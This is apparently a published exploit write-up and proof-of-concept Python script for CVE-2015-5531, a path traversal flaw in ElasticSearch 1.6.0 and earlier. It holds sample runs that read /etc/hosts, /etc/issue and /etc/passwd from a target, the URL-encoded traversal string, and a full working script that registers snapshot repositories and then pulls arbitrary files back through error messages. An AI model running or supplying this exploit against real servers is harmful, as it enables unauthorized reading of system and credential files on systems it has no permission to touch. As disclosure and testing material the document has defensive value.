ElasticSearch 1.6.0 - Arbitrary File Download

# elasticpwn Script for ElasticSearch url path traversal vuln. CVE-2015-5531

```
[crg@fogheaven elasticpwn]$ python CVE-2015-5531.py exploitlab.int /etc/hosts
!dSR script for CVE-2015-5531

127.0.0.1 localhost

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts


The script requires path.repo to be set into elasticsearch.yml and be writeable by elasticsearch process.

In order to bypass the snapshot- prefix setted in the server side, we need to create a known relative path:

curl http://exploitlab.int:9200/_snapshot/?pretty

{
  "pwn" : {
    "type" : "fs",
    "settings" : {
      "location" : "dsr"
    }
  },
  "pwnie" : {
    "type" : "fs",
    "settings" : {
      "location" : "dsr/snapshot-ev1l"
    }
  }
}

We will use it later to access through path traversal url:

trav = 'ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'


The file content it's represented as an array of ints, that needs to be translated into human readable:

crg@exploitlab:~$ python elk-5531.py localhost /etc/issue
!dSR script for CVE-2015-5531

{u'status': 400, u'error': u'ElasticsearchParseException[Failed to derive xcontent from (offset=0, length=26): [85, 98, 117, 110, 116, 117, 32, 49, 50, 46, 48, 52, 46, 53, 32, 76, 84, 83, 32, 92, 110, 32, 92, 108, 10, 10]]'}

[85, 98, 117, 110, 116, 117, 32, 49, 50, 46, 48, 52, 46, 53, 32, 76, 84, 83, 32, 92, 110, 32, 92, 108, 10, 10] = Ubuntu 12.04.5 LTS \n \l


There is also a path disclosure that could help exploiting in some scenarios:

crg@exploitlab:~$ python elk-5531.py localhost /etc/passwda
!dSR script for CVE-2015-5531

{"error":"SnapshotMissingException[[pwn:dsr/../../../../../../../../etc/passwda] is missing]; nested: FileNotFoundException[/var/tmp/dsr/snapshot-dsr/../../../../../../../../etc/passwda (No such file or directory)]; ","status":404}

```

#!/usr/bin/env python
# PoC for CVE-2015-5531 - Reported by Benjamin Smith
# Affects ElasticSearch 1.6.0 and prior
# Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net
# Jose A. Guasch || twitter: @SecByDefault || jaguasch at gmail.com
# Tested on default Linux (.deb) install || requires path.repo: to be set on config file

import urllib, urllib2, json, sys, re

print "!dSR script for CVE-2015-5531\n"
if len(sys.argv) <> 3:
        print "Ex: %s www.example.com /etc/passwd" % sys.argv[0]
        sys.exit()

host = sys.argv[1]
fpath = urllib.quote(sys.argv[2], safe='')
port = 9200
trav = 'ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..' 
reponame = 'pwn'
baseurl = "http://%s:%s/_snapshot/" % (host, port)
xplurl = '%s%s/%s%s' % (baseurl, reponame, trav, fpath)


def createSnapdirs():
	try:
		url = "%s/%s" % (baseurl, reponame)
		request = urllib2.Request(url, data='{"type":"fs","settings":{"location":"dsr"}}')
		request.get_method = lambda: 'POST'
		urllib2.urlopen(request)

        	url = "%s/%sie" % (baseurl, reponame)
	        request = urllib2.Request(url, data='{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}')
	        request.get_method = lambda: 'POST'
	        urllib2.urlopen(request)
	except urllib2.HTTPError, e:
                data = json.load(e)
		print "[!] ERROR: Verify path.repo exist in config file, elasticsearch.yml:\n"
		print str(data['error'])
		sys.exit()


def grabFile(xplurl):
	try:
		urllib2.urlopen(xplurl)
	except urllib2.HTTPError, e:
		data = json.load(e)
		extrdata = re.findall(r'\d+', str(data['error']))
		decoder = bytearray()
		for i in extrdata[+2:]:
			decoder.append(int(i))
		print decoder


def main():
	createSnapdirs()
	grabFile(xplurl)


if __name__ == "__main__":
    main()